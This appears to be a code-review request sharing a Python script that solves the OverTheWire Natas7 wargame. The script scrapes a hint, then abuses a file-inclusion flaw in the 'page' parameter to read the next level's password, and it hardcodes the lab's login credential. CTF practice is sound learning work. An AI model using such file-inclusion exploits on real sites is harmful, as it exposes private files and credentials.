This is a addition to my previous question earlier today.
I've taken the suggested changes into account and have written a solution to Natas7, a problem that requires some more 'meat' on what I'd consider quite a barebone solution in the previous question.
As with the previous question I'm more keen on knowing if I'm following good coding standard and if there are any potential performance issues.
Here is the script:
import requests, re
from requests.auth import HTTPBasicAuth
HOST = 'http://natas7.natas.labs.overthewire.org/index.php?page=about'
KEYWORD = 'natas8'
PATTERN = re.compile("^([A-Za-z0-9]{32})$")
def get_path(host, credentials):
"""
This will serve up the path to the password
using some basic scraping techniques
:param host:
:param credentials:
:return: The path to the password
"""
try:
response = requests.get(host, auth=HTTPBasicAuth(*credentials))
response_lines = response.content.split('\n')
return next((line.split()[-2:][0] for line in response_lines if 'hint'in line),
"Couldn't find hint...")
except requests.RequestException as e:
print(e)
def exploit(host, credentials):
"""
The actual exploit. This will attempt
to find a string that matches the global
regex pattern PATTERN.
:param host:
:param credentials:
:return: The password, if one is found
"""
try:
response = requests.get(host, auth=HTTPBasicAuth(*credentials))
response_lines = response.content.decode('ascii').split('\n')
return next((line for line in response_lines if PATTERN.match(line)),
"Couldn't find the password...")
except requests.RequestException as e:
print(e)
def main():
global HOST
credentials = ('natas7', '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9')
path = get_path(HOST, credentials)
HOST = (HOST.split('='))
HOST = HOST[0] + '=' + path
print(KEYWORD + ":" + exploit(HOST, credentials))
if __name__ == '__main__':
main()